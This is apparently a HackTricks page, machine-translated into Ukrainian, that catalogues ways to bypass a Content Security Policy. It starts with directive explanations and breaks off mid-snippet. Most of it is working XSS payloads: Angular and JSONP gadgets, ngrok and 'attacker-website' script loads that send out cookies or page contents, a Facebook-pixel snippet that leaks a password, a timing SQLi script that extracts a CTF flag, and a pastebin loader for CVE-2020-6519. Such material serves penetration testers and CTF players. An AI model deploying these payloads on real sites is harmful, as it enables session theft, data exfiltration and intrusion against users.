62 KiB
Content Security Policy (CSP) Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
What is CSP
Content Security Policy (CSP) вважається технологією браузера, яка в основному спрямована на захист від атак, таких як міжсайтовий скриптинг (XSS). Вона функціонує, визначаючи та деталізуючи шляхи та джерела, з яких ресурси можуть бути безпечно завантажені браузером. Ці ресурси охоплюють ряд елементів, таких як зображення, фрейми та JavaScript. Наприклад, політика може дозволити завантаження та виконання ресурсів з того ж домену (self), включаючи вбудовані ресурси та виконання рядкового коду через функції, такі як eval
, setTimeout
або setInterval
.
Впровадження CSP здійснюється через заголовки відповіді або шляхом включення мета-елементів у HTML-сторінку. Дотримуючись цієї політики, браузери активно забезпечують виконання цих вимог і негайно блокують будь-які виявлені порушення.
- Implemented via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Реалізовано через мета-тег:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Headers
CSP може бути застосований або моніторений за допомогою цих заголовків:
Content-Security-Policy
: Застосовує CSP; браузер блокує будь-які порушення.Content-Security-Policy-Report-Only
: Використовується для моніторингу; повідомляє про порушення без їх блокування. Ідеально підходить для тестування в середовищах перед випуском.
Defining Resources
CSP обмежує джерела для завантаження як активного, так і пасивного контенту, контролюючи аспекти, такі як виконання вбудованого JavaScript та використання eval()
. Приклад політики:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Директиви
- script-src: Дозволяє конкретні джерела для JavaScript, включаючи URL-адреси, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT-стилями.
- default-src: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні.
- child-src: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
- connect-src: Обмежує URL-адреси, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
- frame-src: Обмежує URL-адреси для фреймів.
- frame-ancestors: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як
<frame>
,<iframe>
,<object>
,<embed>
, і<applet>
. - img-src: Визначає дозволені джерела для зображень.
- font-src: Вказує дійсні джерела для шрифтів, завантажених за допомогою
@font-face
. - manifest-src: Визначає дозволені джерела файлів маніфесту додатка.
- media-src: Визначає дозволені джерела для завантаження медіа-об'єктів.
- object-src: Визначає дозволені джерела для елементів
<object>
,<embed>
, і<applet>
. - base-uri: Вказує дозволені URL-адреси для завантаження за допомогою елементів
<base>
. - form-action: Перераховує дійсні кінцеві точки для відправки форм.
- plugin-types: Обмежує mime-типи, які може викликати сторінка.
- upgrade-insecure-requests: Інструктує браузери переписувати HTTP URL-адреси на HTTPS.
- sandbox: Застосовує обмеження, подібні до атрибута sandbox елемента
<iframe>
. - report-to: Вказує групу, до якої буде надіслано звіт, якщо політика буде порушена.
- worker-src: Вказує дійсні джерела для скриптів Worker, SharedWorker або ServiceWorker.
- prefetch-src: Вказує дійсні джерела для ресурсів, які будуть отримані або попередньо отримані.
- navigate-to: Обмежує URL-адреси, до яких документ може переходити будь-яким способом (a, форма, window.location, window.open тощо).
Джерела
*
: Дозволяє всі URL-адреси, крім тих, що мають схемиdata:
,blob:
,filesystem:
.'self'
: Дозволяє завантаження з того ж домену.'data'
: Дозволяє завантаження ресурсів через схему даних (наприклад, зображення, закодовані в Base64).'none'
: Блокує завантаження з будь-якого джерела.'unsafe-eval'
: Дозволяє використанняeval()
та подібних методів, не рекомендується з міркувань безпеки.'unsafe-hashes'
: Дозволяє конкретні вбудовані обробники подій.'unsafe-inline'
: Дозволяє використання вбудованих ресурсів, таких як вбудовані<script>
або<style>
, не рекомендується з міркувань безпеки.'nonce'
: Список дозволених для конкретних вбудованих скриптів, що використовують криптографічний nonce (число, що використовується один раз).- Якщо у вас обмежене виконання JS, можливо отримати використаний nonce всередині сторінки за допомогою
doc.defaultView.top.document.querySelector("[nonce]")
і потім повторно використовувати його для завантаження шкідливого скрипта (якщо використовується strict-dynamic, будь-яке дозволене джерело може завантажити нові джерела, тому це не потрібно), як у:
Завантажити скрипт, повторно використовуючи nonce
```html ```'sha256-<hash>'
: Дозволяє скрипти з конкретним sha256 хешем.'strict-dynamic'
: Дозволяє завантаження скриптів з будь-якого джерела, якщо воно було внесено до білого списку за допомогою nonce або хешу.'host'
: Вказує конкретний хост, наприклад,example.com
.https:
: Обмежує URL-адреси тими, що використовують HTTPS.blob:
: Дозволяє завантаження ресурсів з Blob URL (наприклад, Blob URL, створених за допомогою JavaScript).filesystem:
: Дозволяє завантаження ресурсів з файлової системи.'report-sample'
: Включає зразок порушуючого коду у звіт про порушення (корисно для налагодження).'strict-origin'
: Схоже на 'self', але забезпечує, щоб рівень безпеки протоколу джерел відповідав документу (тільки безпечні джерела можуть завантажувати ресурси з безпечних джерел).'strict-origin-when-cross-origin'
: Надсилає повні URL-адреси при виконанні запитів з одного джерела, але лише надсилає джерело, коли запит є крос-доменним.'unsafe-allow-redirects'
: Дозволяє завантаження ресурсів, які негайно перенаправлять на інший ресурс. Не рекомендується, оскільки це послаблює безпеку.
Небезпечні правила CSP
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Working payload: "/><script>alert(1);</script>
self + 'unsafe-inline' через Iframes
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
{% hint style="danger" %} Це не працює, для отримання додаткової інформації перевірте це. {% endhint %}
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Працююча корисна навантаження:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Якщо ви зможете якимось чином змусити дозволений JS код створити новий тег скрипта в DOM з вашим JS кодом, оскільки його створює дозволений скрипт, новий тег скрипта буде дозволено виконати.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Працююча корисна навантаження:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Відсутність object-src та default-src
{% hint style="danger" %} Схоже, що це більше не працює {% endhint %}
Content-Security-Policy: script-src 'self' ;
Працюючі корисні навантаження:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Завантаження файлів + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Якщо ви можете завантажити файл JS, ви можете обійти цей CSP:
Робочий вантаж:
"/>'><script src="/uploads/picture.png.js"></script>
Однак, ймовірно, що сервер перевіряє завантажений файл і дозволить вам завантажити лише певні типи файлів.
Більше того, навіть якщо ви зможете завантажити JS код всередині файлу з розширенням, прийнятим сервером (наприклад: script.png), цього буде недостатньо, оскільки деякі сервери, такі як apache server, вибирають MIME тип файлу на основі розширення, а браузери, такі як Chrome, відмовляться виконувати Javascript код всередині чогось, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що Apache не знає про розширення .wave, тому не подає його з MIME типом, як audio/*.
Звідси, якщо ви знайдете XSS і завантаження файлів, і вам вдасться знайти неправильно інтерпретоване розширення, ви можете спробувати завантажити файл з цим розширенням і вмістом скрипта. Або, якщо сервер перевіряє правильний формат завантаженого файлу, створіть поліглот (деякі приклади поліглотів тут).
Form-action
Якщо неможливо впровадити JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, впроваджуючи дію форми (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти приклад у цьому звіті. Також зверніть увагу, що default-src
не охоплює дії форм.
Third Party Endpoints + ('unsafe-eval')
{% hint style="warning" %}
Для деяких з наступних payload unsafe-eval
навіть не потрібен.
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Завантажте вразливу версію angular та виконайте довільний JS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloads using Angular + a library with functions that return the window
object (check out this post):
{% hint style="info" %}
У пості показано, що ви можете завантажити всі бібліотеки з cdn.cloudflare.com
(або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити які функції з яких бібліотек повертають об'єкт window
.
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS з імені класу:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Зловживання JS-кодом google recaptcha
Згідно з цією CTF-статтею, ви можете зловживати https://www.google.com/recaptcha/ всередині CSP для виконання довільного JS-коду, обходячи CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Більше пейлоадів з цього опису:
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
Зловживання www.google.com для відкритого перенаправлення
Наступне URL перенаправляє на example.com (з тут):
https://www.google.com/amp/s/example.com/
Зловживання *.google.com/script.google.com
Можливо зловживати Google Apps Script, щоб отримувати інформацію на сторінці всередині script.google.com. Як це зроблено в цьому звіті.
Треті сторони + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Сценарії, подібні до цього, де script-src
встановлено на self
та певний домен, який є у білому списку, можуть бути обійдені за допомогою JSONP. JSONP кінцеві точки дозволяють небезпечні методи зворотного виклику, які дозволяють зловмиснику виконати XSS, робочий вантаж:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee містить готові до використання JSONP кінцеві точки для обходу CSP різних веб-сайтів.
Та сама вразливість виникне, якщо достовірна кінцева точка містить відкритий редирект, оскільки якщо початкова кінцева точка є надійною, редиректи також вважаються надійними.
Зловживання з боку третіх осіб
Як описано в наступному пості, існує багато доменів третіх осіб, які можуть бути дозволені десь у CSP, і їх можна зловживати для ексфільтрації даних або виконання JavaScript коду. Деякі з цих третіх осіб:
Суб'єкт | Дозволений домен | Можливості |
---|---|---|
www.facebook.com, *.facebook.com | Exfil | |
Hotjar | *.hotjar.com, ask.hotjar.io | Exfil |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Exec |
Amazon CloudFront | *.cloudfront.net | Exfil, Exec |
Amazon AWS | *.amazonaws.com | Exfil, Exec |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Exfil, Exec |
Salesforce Heroku | *.herokuapp.com | Exfil, Exec |
Google Firebase | *.firebaseapp.com | Exfil, Exec |
Якщо ви знайдете будь-який з дозволених доменів у CSP вашої цілі, є ймовірність, що ви зможете обійти CSP, зареєструвавшись на сторонньому сервісі та або ексфільтрувати дані на цей сервіс, або виконати код.
Наприклад, якщо ви знайдете наступний CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
або
Content-Security-Policy: connect-src www.facebook.com;
Ви повинні мати можливість ексфільтрувати дані, так само як це завжди робилося з Google Analytics/Google Tag Manager. У цьому випадку ви дотримуєтеся цих загальних кроків:
- Створіть обліковий запис розробника Facebook тут.
- Створіть новий додаток "Facebook Login" і виберіть "Веб-сайт".
- Перейдіть до "Налаштування -> Основні" і отримайте свій "ID додатка".
- На цільовому сайті, з якого ви хочете ексфільтрувати дані, ви можете ексфільтрувати дані, безпосередньо використовуючи гаджет Facebook SDK "fbq" через "customEvent" і навантаження даних.
- Перейдіть до "Менеджера подій" вашого додатка і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
- Виберіть вкладку "Тестові події", щоб побачити події, які надсилаються з "вашого" веб-сайту.
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на ID додатка розробника Facebook атакуючого та видаючи подію користувача, як ця:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Щодо інших семи доменів третьої сторони, зазначених у попередній таблиці, існує багато інших способів їх зловживання. Зверніться до попереднього блог посту для додаткових пояснень про інші зловживання третьою стороною.
Bypass via RPO (Relative Path Overwrite)
На додаток до згадуваного перенаправлення для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
Наприклад, якщо CSP дозволяє шлях https://example.com/scripts/react/
, його можна обійти наступним чином:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Браузер в кінцевому підсумку завантажить https://example.com/scripts/angular/angular.js
.
Це працює, тому що для браузера ви завантажуєте файл з назвою ..%2fangular%2fangular.js
, розташований за адресою https://example.com/scripts/react/
, що відповідає CSP.
∑, вони декодують його, фактично запитуючи https://example.com/scripts/react/../angular/angular.js
, що еквівалентно https://example.com/scripts/angular/angular.js
.
Шляхом експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можна обійти.
Рішення полягає в тому, щоб не розглядати %2f
як /
на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
Онлайн приклад: https://jsbin.com/werevijewa/edit?html,output
Виконання JS в Iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
відсутній base-uri
Якщо директива base-uri відсутня, ви можете зловживати цим, щоб виконати dangling markup injection.
Більше того, якщо сторінка завантажує скрипт за допомогою відносного шляху (як <script src="/js/app.js">
) з використанням Nonce, ви можете зловживати base tag, щоб змусити його завантажити скрипт з вашого власного сервера, досягаючи XSS.
Якщо вразлива сторінка завантажується з httpS, використовуйте httpS URL в base.
<base href="https://www.attacker.com/">
AngularJS події
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт $event
, що посилається на об'єкт події браузера. Цей об'єкт $event
може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт $event/event
має атрибут path
, що містить масив об'єктів, залучених до ланцюга виконання події, причому об'єкт window
завжди розташований в кінці. Ця структура є вирішальною для тактик втечі з пісочниці.
Спрямовуючи цей масив до фільтра orderBy
, можна ітерувати його, використовуючи термінальний елемент (об'єкт window
), щоб викликати глобальну функцію, таку як alert()
. Наведений нижче фрагмент коду ілюструє цей процес:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
Цей фрагмент підкреслює використання директиви ng-focus
для виклику події, використовуючи $event.path|orderBy
для маніпуляції масивом path
, і використовуючи об'єкт window
для виконання функції alert()
, тим самим розкриваючи document.cookie
.
Знайдіть інші обходи Angular на https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS та домен у білому списку
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Політика CSP, яка дозволяє завантаження скриптів з певних доменів в Angular JS додатку, може бути обійдена через виклик функцій зворотного виклику та певних вразливих класів. Додаткову інформацію про цю техніку можна знайти в детальному посібнику, доступному в цьому git репозиторії.
Працюючі пейлоади:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Інші кінцеві точки для довільного виконання JSONP можна знайти тут (деякі з них були видалені або виправлені)
Обхід через редирект
Що відбувається, коли CSP стикається з редиректом на стороні сервера? Якщо редирект веде до іншого походження, яке не дозволено, він все ще зазнає невдачі.
Однак, відповідно до опису в CSP spec 4.2.2.3. Paths and Redirects, якщо редирект веде до іншого шляху, він може обійти початкові обмеження.
Ось приклад:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Якщо CSP встановлено на https://www.google.com/a/b/c/d
, оскільки враховується шлях, скрипти /test
та /a/test
будуть заблоковані CSP.
Однак, фінальний http://localhost:5555/301
буде перенаправлений на стороні сервера на https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Оскільки це перенаправлення, шлях не враховується, і скрипт може бути завантажений, таким чином обходячи обмеження шляху.
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдено.
Отже, найкраще рішення - це забезпечити, щоб веб-сайт не мав жодних вразливостей до відкритого перенаправлення і щоб не було доменів, які можна експлуатувати в правилах CSP.
Обхід CSP з висячою розміткою
Читати як тут.
'unsafe-inline'; img-src *; через XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
означає, що ви можете виконувати будь-який скрипт всередині коду (XSS може виконувати код), а img-src *
означає, що ви можете використовувати на веб-сторінці будь-яке зображення з будь-якого ресурсу.
Ви можете обійти цей CSP, ексфільтруючи дані через зображення (в даному випадку XSS зловживає CSRF, де сторінка, доступна ботом, містить SQLi, і витягує прапор через зображення):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Ви також можете зловживати цією конфігурацією, щоб завантажити javascript код, вставлений всередині зображення. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви можете створити спеціальне зображення, завантажити його в Twitter і зловживати "unsafe-inline", щоб виконати JS код (як звичайний XSS), який завантажить зображення, витягне JS з нього і виконає його: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
З сервісними працівниками
Функція importScripts
сервісних працівників не обмежена CSP:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Впровадження політики
Дослідження: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Якщо параметр, надісланий вами, вставляється всередині оголошення політики, то ви можете змінити політику таким чином, що вона стане недійсною. Ви можете дозволити скрипт 'unsafe-inline' з будь-яким з цих обходів:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Тому що ця директива перезапише існуючі директиви script-src.
Ви можете знайти приклад тут: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
В Edge це набагато простіше. Якщо ви можете додати в CSP лише це: ;_
Edge відкине всю політику.
Приклад: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; через XSS (iframe) - Атака за часом
Зверніть увагу на відсутність директиви 'unsafe-inline'
Цього разу ви можете змусити жертву завантажити сторінку під вашим контролем через XSS з <iframe
. Цього разу ви змусите жертву отримати доступ до сторінки, з якої ви хочете витягти інформацію (CSRF). Ви не можете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете контролювати час, необхідний для завантаження сторінки, ви зможете витягти потрібну інформацію.
Цього разу буде витягнуто прапор, коли символ буде правильно вгадано через SQLi, відповідь займає більше часу через функцію сну. Тоді ви зможете витягти прапор:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
Via Bookmarklets
Ця атака передбачає певну соціальну інженерію, де атакуючий переконує користувача перетягнути та скинути посилання на закладку браузера. Ця закладка міститиме шкідливий javascript код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, обходячи CSP і дозволяючи вкрасти чутливу інформацію таку як куки або токени.
Для отримання додаткової інформації перевірте оригінальний звіт тут.
CSP bypass by restricting CSP
У цьому CTF звіті CSP обходиться шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, який, потім, через прототипне забруднення або dom clobbering дозволяє зловживати іншим скриптом для завантаження довільного скрипту.
Ви можете обмежити CSP iframe за допомогою атрибута csp
:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
У цьому CTF звіті було можливим через впровадження HTML обмежити більше CSP, тому скрипт, що запобігає CSTI, був вимкнений, і, отже, вразливість стала експлуатованою.
CSP можна зробити більш обмежувальним, використовуючи HTML мета-теги, а вбудовані скрипти можна вимкнути видаленням входу, що дозволяє їх nonce та включити конкретний вбудований скрипт через sha:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
JS exfiltration with Content-Security-Policy-Report-Only
Якщо вам вдасться змусити сервер відповісти заголовком Content-Security-Policy-Report-Only
з значенням, контрольованим вами (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви обернете JS контент, який хочете ексфільтрувати, в <script>
, і оскільки, ймовірно, unsafe-inline
не дозволено CSP, це викличе помилку CSP, і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з Content-Security-Policy-Report-Only
.
Для прикладу перевірте цей CTF звіт.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
Витік інформації з CSP та Iframe
- Створюється
iframe
, який вказує на URL (назвемо йогоhttps://example.redirect.com
), що дозволений CSP. - Цей URL потім перенаправляє на секретний URL (наприклад,
https://usersecret.example2.com
), який не дозволений CSP. - Слухаючи подію
securitypolicyviolation
, можна захопити властивістьblockedURI
. Ця властивість розкриває домен заблокованого URI, витікаючи секретний домен, на який перенаправив початковий URL.
Цікаво відзначити, що браузери, такі як Chrome та Firefox, мають різну поведінку в обробці iframe стосовно CSP, що може призвести до потенційного витоку чутливої інформації через невизначену поведінку.
Інша техніка полягає в експлуатації самого CSP для виведення секретного піддомену. Цей метод спирається на алгоритм бінарного пошуку та коригування CSP, щоб включити конкретні домени, які навмисно заблоковані. Наприклад, якщо секретний піддомен складається з невідомих символів, ви можете ітеративно тестувати різні піддомени, змінюючи директиву CSP, щоб блокувати або дозволяти ці піддомени. Ось фрагмент, що показує, як CSP може бути налаштований для полегшення цього методу:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
Обидва методи експлуатують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
Трюк з тут.
Приєднуйтесь до HackenProof Discord сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
Інсайти з хакінгу
Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
Новини про хакінг в реальному часі
Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
Останні оголошення
Будьте в курсі нових програм винагород за вразливості та важливих оновлень платформ
Приєднуйтесь до нас на Discord і почніть співпрацювати з провідними хакерами вже сьогодні!
Небезпечні технології для обходу CSP
PHP помилки при надмірній кількості параметрів
Згідно з останнім методом, прокоментованим у цьому відео, надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений header()
у PHP веб-коді не буде надіслано через помилку, яку це викличе.
Переповнення буфера відповіді PHP
PHP відомий тим, що буферизує відповідь до 4096 байт за замовчуванням. Тому, якщо PHP показує попередження, надаючи достатньо даних у попередженнях, відповідь буде надіслана перед CSP заголовком, що призведе до ігнорування заголовка.
Отже, техніка в основному полягає в заповненні буфера відповіді попередженнями, щоб CSP заголовок не був надісланий.
Ідея з цього опису.
Переписати сторінку помилки
З цього опису виглядає так, що було можливо обійти захист CSP, завантаживши сторінку помилки (можливо, без CSP) і переписавши її вміст.
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
